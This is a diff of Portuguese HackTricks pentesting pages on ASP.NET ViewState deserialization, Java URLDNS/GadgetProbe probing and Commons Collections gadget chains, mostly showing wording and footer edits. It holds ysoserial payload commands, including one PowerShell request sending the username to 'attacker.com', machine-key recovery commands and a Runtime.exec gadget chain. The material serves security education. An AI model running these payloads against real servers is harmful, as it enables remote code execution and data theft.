* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -4,12 +4,12 @@
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
**Confira a postagem incrível em** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
**Confira o incrível post de** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)

View file

@ -7,10 +7,10 @@
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -39,13 +39,13 @@ As informações do ViewState podem ser caracterizadas pelas seguintes proprieda
A imagem é uma tabela detalhando diferentes configurações para ViewState no ASP.NET com base na versão do framework .NET. Aqui está um resumo do conteúdo:
1. Para **qualquer versão do .NET**, quando tanto o MAC quanto a Criptografia estão desativados, não é necessário um MachineKey e, portanto, não há um método aplicável para identificá-lo.
1. Para **qualquer versão do .NET**, quando tanto o MAC quanto a Criptografia estão desativados, uma MachineKey não é necessária e, portanto, não há método aplicável para identificá-la.
2. Para **versões abaixo de 4.5**, se o MAC estiver habilitado mas a Criptografia não estiver, é necessário um MachineKey. O método para identificar o MachineKey é referido como "Blacklist3r."
2. Para **versões abaixo de 4.5**, se o MAC estiver habilitado mas a Criptografia não estiver, uma MachineKey é necessária. O método para identificar a MachineKey é referido como "Blacklist3r."
3. Para **versões abaixo de 4.5**, independentemente de o MAC estar habilitado ou desabilitado, se a Criptografia estiver habilitada, é necessário um MachineKey. Identificar o MachineKey é uma tarefa para "Blacklist3r - Desenvolvimento Futuro."
3. Para **versões abaixo de 4.5**, independentemente de o MAC estar habilitado ou desabilitado, se a Criptografia estiver habilitada, uma MachineKey é necessária. Identificar a MachineKey é uma tarefa para "Blacklist3r - Desenvolvimento Futuro."
4. Para **versões 4.5 e superiores**, todas as combinações de MAC e Criptografia (se ambos forem true, ou um for true e o outro false) exigem um MachineKey. O MachineKey pode ser identificado usando "Blacklist3r."
4. Para **versões 4.5 e superiores**, todas as combinações de MAC e Criptografia (se ambos forem true, ou um for true e o outro false) exigem uma MachineKey. A MachineKey pode ser identificada usando "Blacklist3r."
### Caso de Teste: 1 EnableViewStateMac=false e viewStateEncryptionMode=false
@ -54,7 +54,7 @@ Também é possível desativar completamente o ViewStateMAC definindo a chave de
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Identificação de Atributos do ViewState**
**Identificando Atributos do ViewState**
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo esse parâmetro com o BurpSuite. Se o Mac não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
@ -63,8 +63,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
### Caso de teste 1.5 - Como o Caso de teste 1, mas o cookie ViewState não é enviado pelo servidor
Os desenvolvedores podem **remover o ViewState** de se tornar parte de uma Requisição HTTP (o usuário não receberá esse cookie).\
Pode-se assumir que se o **ViewState** não estiver **presente**, sua implementação está **segura** contra possíveis vulnerabilidades relacionadas à desserialização do ViewState.\
No entanto, isso não é verdade. Se **adicionarmos o parâmetro ViewState** ao corpo da requisição e enviarmos nosso payload serializado criado usando ysoserial, ainda seremos capazes de alcançar a **execução de código** como mostrado no **Caso 1**.
Pode-se assumir que se o **ViewState** não estiver **presente**, sua implementação está **segura** contra possíveis vulnerabilidades decorrentes da desserialização do ViewState.\
No entanto, isso não é o caso. Se **adicionarmos o parâmetro ViewState** ao corpo da requisição e enviarmos nossa carga serializada criada usando ysoserial, ainda seremos capazes de alcançar a **execução de código** como mostrado no **Caso 1**.
### Caso de Teste: 2 - .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -84,9 +84,9 @@ Podemos também fazê-lo para a aplicação **como um todo** configurando-o no a
</system.web>
</configuration>
```
Como o parâmetro está protegido por MAC desta vez, para executar com sucesso o ataque, primeiro precisamos do chave usada.
Como o parâmetro está protegido por MAC desta vez, para executar com sucesso o ataque, primeiro precisamos da chave utilizada.
Você pode tentar usar [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave usada.
Você pode tentar usar [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave utilizada.
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
@ -95,7 +95,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.
Pode ser fornecido diretamente com o viewstate e o gerador:
Pode ser fornecido com o viewstate e o gerador diretamente:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
@ -113,7 +113,7 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
Para procurar por viewstates vulneráveis em escala, em conjunto com a enumeração de subdomínios, o módulo `badsecrets` pode ser usado:
Para pesquisar por viewstates vulneráveis em escala, em conjunto com a enumeração de subdomínios, o módulo `badsecrets` do [**BBOT**](exploiting-\_\_viewstate-parameter.md) pode ser utilizado:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
@ -125,7 +125,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value}
```
Em casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo servidor, você **não precisa** fornecer o parâmetro `--generator`, **mas estes sim**:
Em casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo servidor, você **não precisa** fornecer o parâmetro `--generator`, **mas estes**:
```bash
--apppath="/" --path="/hello.aspx"
```
@ -135,9 +135,9 @@ Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valo
**Neste caso, o** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está em desenvolvimento...**
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** se **`ViewStateEncryptionMode`** estiver definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar a carga útil não criptografada, ela ainda será processada.**
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** se **`ViewStateEncryptionMode`** tiver sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar a carga útil não criptografada, ela ainda será processada.**
Portanto, se os atacantes encontrarem uma maneira de obter a Chave da Máquina por meio de outra vulnerabilidade como travessia de arquivos, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2**, pode ser usado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
Portanto, se os atacantes encontrarem uma maneira de obter a Chave da Máquina por meio de outra vulnerabilidade, como travessia de arquivos, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2**, pode ser usado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
* Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do ViewState e a exploração falhará.
@ -151,7 +151,7 @@ Alternativamente, isso pode ser feito especificando a opção abaixo dentro do p
```bash
compatibilityMode="Framework45"
```
Como no exemplo anterior, o **valor está criptografado**. Portanto, para enviar uma **carga útil válida, o atacante precisa da chave**.
Como no exemplo anterior, o **valor está criptografado.** Portanto, para enviar uma **carga útil válida, o atacante precisa da chave**.
Você pode tentar usar [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave sendo usada:
```
@ -168,7 +168,9 @@ Ou, com [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (co
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
Uma vez que uma chave de Máquina válida é identificada, **o próximo passo é gerar um payload serializado usando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Uma vez identificada uma chave de Máquina válida, **o próximo passo é gerar um payload serializado usando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
@ -176,7 +178,7 @@ Se você tiver o valor de `__VIEWSTATEGENERATOR`, você pode tentar **usar** o p
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewState resultará em uma solicitação out-of-band para um servidor controlado pelo atacante, que inclui o nome de usuário. Esse tipo de exploit é demonstrado em uma prova de conceito (PoC) que pode ser encontrada em um recurso intitulado "Explorando a Desserialização do ViewState usando Blacklist3r e YsoSerial.NET". Para mais detalhes sobre como funciona o processo de exploração e como utilizar ferramentas como Blacklist3r para identificar o MachineKey, você pode revisar o [PoC de Exploração Bem-Sucedida](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewState resultará em uma solicitação out-of-band para um servidor controlado pelo atacante, que inclui o nome de usuário. Esse tipo de exploit é demonstrado em um prova de conceito (PoC) que pode ser encontrado em um recurso intitulado "Explorando a Desserialização do ViewState usando Blacklist3r e YsoSerial.NET". Para mais detalhes sobre como funciona o processo de exploração e como utilizar ferramentas como Blacklist3r para identificar o MachineKey, você pode revisar o [PoC de Exploração Bem-Sucedida](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
### Caso de Teste 6 ViewStateUserKeys está sendo usado
@ -188,7 +190,7 @@ Você precisa usar mais um parâmetro para criar corretamente a carga útil:
```
### Resultado de uma Exploração Bem-sucedida <a href="#poc" id="poc"></a>
Para todos os casos de teste, se a carga útil ViewState YSoSerial.Net funcionar **com sucesso**, o servidor responde com "Erro interno do servidor 500" tendo o conteúdo da resposta "As informações de estado são inválidas para esta página e podem estar corrompidas" e obtemos a solicitação OOB.
Para todos os casos de teste, se a carga útil ViewState YSoSerial.Net funcionar **com sucesso**, o servidor responde com “**Erro interno do servidor 500**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e obtemos a solicitação OOB.
Verifique [mais informações aqui]([**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/))
@ -201,7 +203,7 @@ Verifique [mais informações aqui]([**https://www.notsosecure.com/exploiting-vi
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -214,7 +216,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no GitHub.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -20,10 +20,10 @@ A classe `java.net.URL` implementa `Serializable`, o que significa que essa clas
```java
public final class URL implements java.io.Serializable {
```
Esta classe tem um **comportamento curioso.** De acordo com a documentação: "**Dois hosts são considerados equivalentes se ambos os nomes de host puderem ser resolvidos para os mesmos endereços IP**".\
Esta classe tem um **comportamento curioso**. De acordo com a documentação: "**Dois hosts são considerados equivalentes se ambos os nomes de host puderem ser resolvidos para os mesmos endereços IP**".\
Assim, sempre que um objeto URL chama **qualquer** das **funções `equals`** ou **`hashCode`** um **pedido DNS** para obter o endereço IP será **enviado**.
**Chamar** a função **`hashCode`** **de** um objeto **URL** é bastante simples, basta inserir este objeto dentro de um `HashMap` que será desserializado. Isso ocorre porque **no final** da função **`readObject`** do `HashMap`, este código é executado:
**Chamar** a função **`hashCode`** de um objeto **URL** é bastante simples, basta inserir este objeto dentro de um `HashMap` que será desserializado. Isso ocorre porque **no final** da função **`readObject`** do `HashMap`, este código é executado:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
@ -33,7 +33,7 @@ for (int i = 0; i < mappings; i++) {
putVal(hash(key), key, value, false, false);
}
```
O **putVal** será **executado** com cada valor dentro do `HashMap`. No entanto, mais relevante é a chamada para `hash` com cada valor. Este é o código da função `hash`:
É **executado** o `putVal` com cada valor dentro do `HashMap`. No entanto, mais relevante é a chamada para `hash` com cada valor. Este é o código da função `hash`:
```java
static final int hash(Object key) {
int h;
@ -147,7 +147,7 @@ Você pode baixar o [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe)
### Como funciona
**GadgetProbe** usará o mesmo **payload DNS da seção anterior**, mas **antes** de executar a consulta DNS, ele **tentará desserializar uma classe arbitrária**. Se a **classe arbitrária existir**, a **consulta DNS** será **enviada** e o GadgetProbe notará que essa classe existe. Se a **solicitação DNS** nunca for enviada, isso significa que a **classe arbitrária não foi desserializada** com sucesso, então ela não está presente ou não é **serializável/exploitável**.
**GadgetProbe** usará o mesmo **payload DNS da seção anterior**, mas **antes** de executar a consulta DNS, ele **tentará desserializar uma classe arbitrária**. Se a **classe arbitrária existir**, a **consulta DNS** será **enviada** e o GadgetProbe notará que essa classe existe. Se a **solicitação DNS** não for **enviada**, isso significa que a **classe arbitrária não foi desserializada** com sucesso, então ela não está presente ou não é **serializável/exploitável**.
Dentro do github, o [**GadgetProbe tem algumas listas de palavras**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) com classes Java para serem testadas.
@ -164,7 +164,7 @@ A **extensão** possui **capacidades** passivas e ativas.
### Passivo
Por padrão, ele **verifica passivamente** todas as solicitações e respostas enviadas **procurando por bytes mágicos serializados Java** e apresentará um aviso de vulnerabilidade se encontrar algum:
Por padrão, ele **verifica passivamente** todas as solicitações e respostas enviadas **procurando por bytes mágicos serializados em Java** e apresentará um aviso de vulnerabilidade se encontrar algum:
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/image (290).png>)
@ -182,7 +182,7 @@ Mesmo que seja chamado de "Teste Manual", é bastante **automatizado**. Ele veri
**Explorando**
Depois de identificar uma biblioteca vulnerável, você pode enviar a solicitação para a _Guia de Exploração_.\
Nesta guia, você deve **selecionar** o **ponto de injeção** novamente, **escrever** a **biblioteca vulnerável** para a qual deseja criar um payload e o **comando**. Em seguida, basta pressionar o botão de **Ataque** apropriado.
Nesta guia, você deve **selecionar** o **ponto de injeção** novamente, e **escrever** a **biblioteca vulnerável** para a qual deseja criar um payload e o **comando**. Em seguida, basta pressionar o botão de **Ataque** apropriado.
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/4 (1).png>)
@ -205,7 +205,7 @@ Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,15 +4,15 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
Confira as postagens:
Verifique as postagens:
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)

View file

@ -2,7 +2,7 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
@ -14,7 +14,7 @@
## Transformadores Java para Rutime exec()
Em vários lugares, você pode encontrar um payload de desserialização Java que usa transformadores do Apache common collections como o seguinte:
Em vários lugares, você pode encontrar um payload de desserialização Java que usa transformadores do Apache Common Collections, como o seguinte:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -67,7 +67,7 @@ Ou **mais exatamente**, o que será executado no final será:
Então, como o primeiro payload apresentado é equivalente a esses one-liners "simples"?
**Primeiro** de tudo, você pode notar no payload que uma **cadeia (array) de transformações é criada**:
**Primeiramente**, você pode notar no payload que uma **cadeia (array) de transformações é criada**:
```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
@ -94,7 +94,7 @@ command
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
Se você ler o código, você notará que se você de alguma forma encadear a transformação do array, você poderá executar comandos arbitrários.
Se você ler o código, você notará que se de alguma forma encadear as transformações do array, você poderá executar comandos arbitrários.
Então, **como essas transformações são encadeadas?**
```java
@ -159,7 +159,7 @@ new Class[]{String.class},
command
).transform(value); //(4)
```
_Observe como `value` é a entrada de cada transformação e a saída da transformação anterior, permitindo a execução de um comando em uma linha:_
_Observa como `value` é a entrada de cada transformação e a saída da transformação anterior, permitindo a execução de um comando em uma linha:_
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
@ -218,12 +218,12 @@ Você pode encontrar mais gadgets aqui: [https://deadcode.me/blog/2016/09/02/Bli
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
